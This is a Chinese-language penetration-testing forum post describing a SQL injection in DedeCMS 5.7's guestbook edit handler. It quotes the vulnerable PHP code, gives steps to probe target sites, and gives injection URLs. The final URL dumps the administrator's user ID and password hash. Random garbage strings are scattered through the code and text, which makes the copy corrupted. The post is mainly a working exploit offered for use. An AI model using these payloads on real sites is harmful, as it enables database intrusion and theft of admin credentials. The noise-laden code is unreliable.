中国网络渗透测试联盟

标题: dedecms5.7最新sql注射漏洞利用 guestbook.php [打印本页]

作者: admin    时间: 2012-11-13 13:24
标题: dedecms5.7最新sql注射漏洞利用 guestbook.php
影响版本为5.7
) p: m8 }+ t& u. I3 z
) V1 \3 ^$ W! w7 l$ t* {漏洞文件edit.inc.php具体代码:
4 G7 `5 L1 X7 S, k8 T; r8 Y% d8 X9 ]3 j: ~" Q8 H( r4 Y
< ?php  . O* c% B) L  R1 G9 e
# Z3 q& Y% x0 T' L1 V
if(!defined('DEDEINC')) exit('Request Error!');  / e+ O2 p' Y2 a, h: w: G2 C# i

) q' ]% }* @8 x( O: r- `; c) R" t   * Z  B+ @5 g2 e( v( b9 o
: |6 V1 e2 T0 c) I- X
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  # N- O* K3 S6 s/ t. A. h! B

* M8 N/ G! U. n& ]  Q* G1 k0 jelse $GUEST_BOOK_POS = "guestbook.php";  
) R3 z( l0 j3 [( A' G  a: P2 w' _5 b* z( R1 k& ~
   
+ Q7 s0 U3 Q+ _  G' Y6 N( H1 n+ A/ g
! b4 I3 i# P. Z5 K9 ?$id = intval($id);  
/ Q8 L+ m$ R" [; A  }
) _6 `2 U0 K& J) U3 h2 z) @if(empty($job)) $job='view';  
7 P* V7 M& o% q- k# `4 m
5 J3 z  z1 m( m, U3 e& U# z   
' k. O, ~  n$ g( n9 Z& m
% W3 q, t, |( n' L- Bif($job=='del' && $g_isadmin)  1 w5 M, o' X- _9 \: [

- P4 W% `2 ?5 f6 c6 k+ T9 u9 X{  3 e( U% y6 W9 M+ C: l1 Q4 F' ~

- Z- x# z& Y( P1 c( v' X$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
, S3 b$ }( K* u, s' E) `* v. G+ Y% m- C8 Q6 G% ]
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  1 T! ~! M7 b7 {8 p- D
4 [1 L& [  l  S$ l
exit();  ; j( r4 h6 G1 t. j5 B6 G$ M

0 t& H2 d9 ]! o+ E}  
. u& i; s4 P3 [5 U" C3 D' y4 X, A& r' U- P
else if($job=='check' && $g_isadmin)  
+ j& @- W5 E; J: h4 o3 t) r/ H" w- C9 D  u: ^
{  3 ~& T# r6 L9 s+ {, T
, f* n- p7 e% q( A
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  1 |; F" P4 p7 L- M

" G% w: m; |8 l( }3 rShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
1 ]) v( e5 [3 g: T( o2 a
4 o3 Y  S0 S0 E9 ]exit();  
! \* o, A# `) Y5 ]. X( U, K4 r4 ^% q6 N5 f% w8 J
}  
; X% A1 }* U% Y, R% g0 V1 M- M
/ ^# c/ w& ^8 U2 e1 oelse if($job=='editok')  7 h1 q; q: a2 ]7 ?5 ~  I' e

  i7 g: @, [$ d) B' D, @0 S{  
1 |& R- [8 k! n6 [
7 u# k9 U; w+ @( I& n$remsg = trim($remsg);  ; z& h/ s" f: H: T! a3 m
1 w4 h6 V' q: H- Q0 E( Z
if($remsg!='')  , I; k# u5 k- K6 O) C7 u' P% |

/ j; L" ^5 T6 Z{  
5 U' s4 `7 ~* Y. v% g
" U+ u; ~. e+ x0 s# e: v//管理员回复不过滤HTML By:Errorera blog:errs.cc  
! D" V6 V5 M0 e$ G$ y, ~% G' P. T1 K: I" o% D9 k
if($g_isadmin)  
6 |  J1 v! k6 O2 T9 \! I3 a9 P: D  [+ K2 @  n+ Q
{  
; Q' G! H" b' i" v1 N6 ^% ?% X
4 _$ A3 y: M, v/ w6 u! o$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  : S$ ~  c& @: n" o% b
, S9 |6 T; n5 o6 ~+ E
//$remsg <br /><font color=red>管理员回复:</font> }  $ w8 T' S3 j6 x5 J% n

7 Q4 N( p/ Y: H- Z" a3 Gelse
1 g- c" g2 X: u* @# [
2 j/ I; ^- R1 ^9 [# T  k  _{  - g: `% Z, Q$ _# J
6 I7 u0 b! ^9 i. J
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
3 ]3 v6 u/ C$ \3 a' U. M, I* y& M+ j# q3 N+ X( o! J$ F
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  + \4 N2 U' h: F  H  h! Y

0 \7 i% M  f+ q  h% X% r* Q, m$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
) F7 r0 Q: d4 R; s( _: v/ _
7 M5 a3 ^$ _( N4 T6 j: Y) G% [$msg = $oldmsg.$remsg;  8 O) X; T' d- {2 r+ e' a/ d+ w  Y* g! U
6 f8 n9 Y8 y/ W3 ]3 a1 N
}  ) b* d* ^9 d6 @' N6 o7 @

, n# v0 n, L& @- j}  & j0 Z% ?( x3 p6 I" @
6 O' b: p& w9 J5 G( @7 x
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc    @) Z7 w5 Q, ~3 A1 l$ U0 X

/ j( _# U) E& Z$ ~$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  - U+ F; E+ C+ r

) ]' F: a1 j( t' QShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
8 o% d& S1 n+ B& _
9 u6 g# x6 }2 k8 V6 ~+ ]9 wexit();  
8 Q- K  `* c& R, s/ y* |1 |
: h, t% f, W( ?2 I, G, j0 K}  
) U4 U6 D  _  z, j0 B1 q; i5 S, f- M
8 G3 k: c( x3 y1 s4 f) U1 L//home:www.errs.cc  # \: o9 @+ r& s3 F/ g" V( u

# j  G# n5 ], C$ x+ Sif($g_isadmin)  . W0 K2 A+ W) g7 `% }5 y

. u* S  K, u# d. Y{  ( F, B% L" Q9 }  w( O0 e% L

' j4 t  K: Q! Q4 H9 l' A0 T/ C+ Y$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
0 b% t3 F. b" A, n. _$ a# q2 _* S1 i7 ]
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
, }  p6 W  `  I, S% a6 B9 y  K5 G/ E5 E6 g6 W8 Y* V4 B( q: s
}  
' O% r" B& I" t# n4 g. V+ [' l, [
/ y* `8 b( v" \3 T& Uelse
  h/ W2 c* [1 F/ E( K3 i! l* t0 R6 Q1 T( K5 k9 [
{  8 O! Y. `! K( o7 g2 b
. E. z, w5 I, `  J
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  1 P% U5 o! L- u5 T  o

4 z( U. y7 F, j# e( _* mrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
. `, p- y% l& f+ S
6 h& A" l8 }: R+ e} 漏洞成功需要条件:
& O, @5 }( ]9 X! T# C1. php magic_quotes_gpc=off
, \) n3 ~; `* u  L1 A8 ^8 d' k' y0 Z2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
* _8 h  v) A/ p! |: B5 ?0 T% Y
8 p" R+ L) _* k# @" J1 W3 D  \8 F怎么判断是否存在漏洞:) U: ~, M; ]+ D2 t8 `* k2 Y
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
' k3 c( U. c" ~5 J$ J8 L然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID3 Z6 j- x. x) Y
访问:. H0 k$ o/ J# m8 C

# H& K3 t' ~* D& x$ m  q* u4 fwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
; Y' A4 K0 K$ _8 J$ i2 B跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证( }6 e6 y0 ^9 Y4 O) v
, U% Q8 }; ^: |( J

& m% b2 }' |) u* I* H明漏洞无法利用应为他开启了 php magic_quotes_gpc=off' ^+ L& o3 ^) @% c/ v
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。6 [; @8 s* B3 ~
那么再次访问8 a+ g! A9 q& W1 J6 `
0 A$ }3 T3 n0 i/ X" ^2 t1 k$ H
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
% i: w7 R% @0 F8 A% k
  T9 M! g7 @9 A9 S$ F- y大概利用就是这样,大家有兴趣的多研究下!!# _2 q  z3 Z3 [) d3 D- \5 L% U8 A; E

$ Q* m  G+ ?/ }- n; p: k2 X4 s/ P最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!* r/ n2 P* z4 C# ?3 o1 n: _

0 T, e2 v  d6 l0 b. c6 jview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2